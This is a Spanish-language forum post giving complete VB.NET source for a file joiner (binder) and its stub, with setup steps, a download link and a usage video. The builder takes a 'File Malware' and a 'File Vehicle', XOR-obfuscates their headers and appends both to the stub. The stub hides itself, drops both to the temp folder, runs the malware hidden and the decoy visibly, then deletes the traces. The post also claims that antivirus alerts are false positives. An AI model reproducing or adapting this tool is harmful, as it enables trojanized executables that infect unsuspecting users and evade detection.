Hola amigos aquí les dejo el código fuente de un sencillo joiner que programe hace poco en vb.net, el fin de esto es para que vean como se programan o como funcionan y si piensan usarlo para maldades déjenme decirles que ya lo subí a virustotal así que ya lo deberían de a ver agregado a sus firmas los AV
1- Agregamos 3
Label, en la propiedad
Text al primero le pondremos
File Malware: , al segundo
File Vehicle: y al tercero
File Exit: ustedes le pueden poner como quieran solo son label
2- Agregamos 3
TextBox y en la propiedad
Text a los 3 le ponemos el valor de
path y en la propiedad
Enabled sera igual a
false, bueno al primero lo llamaremos
txt_fileexe1, al segundo
txt_fileexe2 y al tercero
txt_fileexe33- Agregamos 3
Button, al primero llamaremos
Button1, al segundo
Button2 y al ultimo
Button3 con el valor
Examinar en la propiedad
Text4- Si tenemos el
stup listo lo agregamos al proyecto en los recursos y también agregan un archivo mp3 a los recursos, puede ser cualquiera solamente se tiene que llamar
musik y el otro
stup5- Agregamos un
PictureBox con el nombre
PictureBox1 con la imagen que quieran, también un
Timer llamado
Timer16- Por ultimo agregamos un
Button llamado
Button4 con el valor
Convert en la propiedad
Text ::::::::.....Aquí el código del Joiner.....::::::::
Option Explicit On
Public Class Form1
Const WM_NCLBUTTONDOWN = &HA1
Const HTCAPTION = 2
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As IntPtr, ByVal wMsg As IntPtr, ByVal wParam As IntPtr, lParam As IntPtr) As Long
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Long
Dim tem As String = Environ("temp") & "\musika.mp3"
Dim tiempo As Integer = 0
Function cancion(tem)
Dim mciret As Long
mciSendString("close all", "", 0, 0)
mciret = mciSendString("open " & tem & " type MPEGVideo Alias MP3", "", 0, 0)
mciExecute("Play MP3")
Return Nothing
End Function
Private Sub Form1_MouseDown(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseDown
Call ReleaseCapture()
Call SendMessage(Me.Handle, WM_NCLBUTTONDOWN, HTCAPTION, 0)
End Sub
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Dim bites() As Byte = My.Resources.musik
FileOpen(1, tem, OpenMode.Binary, OpenAccess.Write)
FilePut(1, bites)
FileClose(1)
Timer1.Interval = 1000
cancion(tem)
Timer1.Start()
End Sub
Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
Randomize()
Dim bites() As Byte = My.Resources.setup
Dim code As String
Dim r As String = ""
Dim ale As String = Chr(CInt((Rnd() * 255) + 1))
For x = 1 To 5
r = r & Hex(Int((Rnd() * 255) + 10))
Next
code = r & leer(txt_fileexe1.Text, ale) & r & leer(txt_fileexe2.Text, ale) & r & ale
FileOpen(2, txt_fileexe3.Text, OpenMode.Binary, OpenAccess.Write)
FilePut(2, bites)
FilePut(2, code)
FileClose(2)
MsgBox("Compilacion Exitosa...", MsgBoxStyle.Information, "Correcto")
End Sub
Function leer(file, ale) As String
Dim code As String
Dim largo As Integer = FileLen(file)
Dim x As Integer
Dim codi As String = ""
code = Space(largo)
FileOpen(3, file, OpenMode.Binary, OpenAccess.Read)
FileGet(3, code)
FileClose(3)
For x = 1 To 1024
codi = codi & Chr((Asc(Mid(code, x, 1)) Xor Asc(ale)))
Next
leer = codi & Mid(code, x)
End Function
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
If tiempo < 3000 Then
tiempo = tiempo + 1
Else
cancion(tem)
tiempo = 0
End If
End Sub
Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
Dim o As New OpenFileDialog
Dim s As String = Environ("userprofile")
o.InitialDirectory = s & "\desktop"
o.Filter = "Exe Files (*.exe)|*.exe"
o.ShowDialog()
txt_fileexe1.Text = o.FileName
End Sub
Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
Dim o As New OpenFileDialog
Dim s As String = Environ("userprofile")
o.InitialDirectory = s & "\desktop"
o.Filter = "Exe Files (*.exe)|*.exe"
o.ShowDialog()
txt_fileexe2.Text = o.FileName
End Sub
Private Sub PictureBox1_Click(sender As System.Object, e As System.EventArgs) Handles PictureBox1.Click
On Error Resume Next
mciSendString("close MP3", "", 0, 0)
Kill(tem)
End
End Sub
Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
Dim o As New SaveFileDialog
Dim s As String = Environ("userfile")
o.InitialDirectory = s & "\desktop"
o.Filter = "Exe File (*.exe)|*.exe"
o.ShowDialog()
txt_fileexe3.Text = o.FileName
End Sub
End Class
Aquí el código del stup, el formulario no lleva nada solo agregan un
Timer y lo llamaremos
Timer1Public Class Form1
Dim e1, e2 As Integer
Dim file1, file2 As String
Dim run As Integer = 0
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Randomize()
Dim code As String
Dim file As String = Application.ExecutablePath
Dim delimita As String
Dim peso, x As Integer
Dim ncode(3) As String
Dim codi1, codi2 As String
Me.Opacity = 0
Me.ShowInTaskbar = False
peso = FileLen(file)
code = Space(peso)
FileOpen(1, file, OpenMode.Binary, OpenAccess.Read)
FileGet(1, code)
FileClose(1)
delimita = Mid(code, peso - 10, 10)
ncode = Split(code, delimita)
file1 = ""
file2 = ""
codi1 = ""
codi2 = ""
For x = 1 To 1024
codi1 = codi1 & Chr(Asc(Mid(ncode(1), x, 1)) Xor Asc(ncode(3)))
Next
codi1 = codi1 & Mid(ncode(1), x)
For x = 1 To 1024
codi2 = codi2 & Chr(Asc(Mid(ncode(2), x, 1)) Xor Asc(ncode(3)))
Next
codi2 = codi2 & Mid(ncode(2), x)
For x = 1 To 10
If Int((Rnd() * 10) + 1) > 5 Then
file1 = file1 & Int((Rnd() * 90) + 65)
Else
file1 = file1 & Int((Rnd() * 122) + 97)
End If
If Int((Rnd() * 10) + 1) > 5 Then
file2 = file1 & Int((Rnd() * 90) + 65)
Else
file2 = file1 & Int((Rnd() * 122) + 97)
End If
Next
file1 = Environ("temp") & "\" & file1 & ".exe"
file2 = Environ("temp") & "\" & file2 & ".exe"
FileOpen(2, file1, OpenMode.Binary, OpenAccess.Write)
FilePut(2, codi1)
FileClose(2)
FileOpen(3, file2, OpenMode.Binary, OpenAccess.Write)
FilePut(3, codi2)
FileClose(3)
e1 = Shell(file1, AppWinStyle.Hide)
e2 = Shell(file2, AppWinStyle.NormalFocus)
Timer1.Interval = 1
Timer1.Start()
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
Dim p As Process
Dim mata1, mata2 As Boolean
mata1 = True
mata2 = True
For Each p In Process.GetProcesses()
If p.Id = e1 Then
mata1 = False
End If
If p.Id = e2 Then
mata2 = False
End If
Next
If mata1 And FileIO.FileSystem.FileExists(file1) Then
Kill(file1)
run += 1
End If
If mata2 And FileIO.FileSystem.FileExists(file2) Then
Kill(file2)
run += 1
End If
If run = 2 Then
End
End If
End Sub
End Class
Link del ejecutable por si no tienen el vb.net:
DescargarTambien les dejo el vídeo donde se muestra como se usa:
https://www.youtube.com/watch?v=HKvNx1cyLV4no se preocupen esta libre de virus y si salta el AV es por que es un falso positivo
Bueno Saludos Flamer
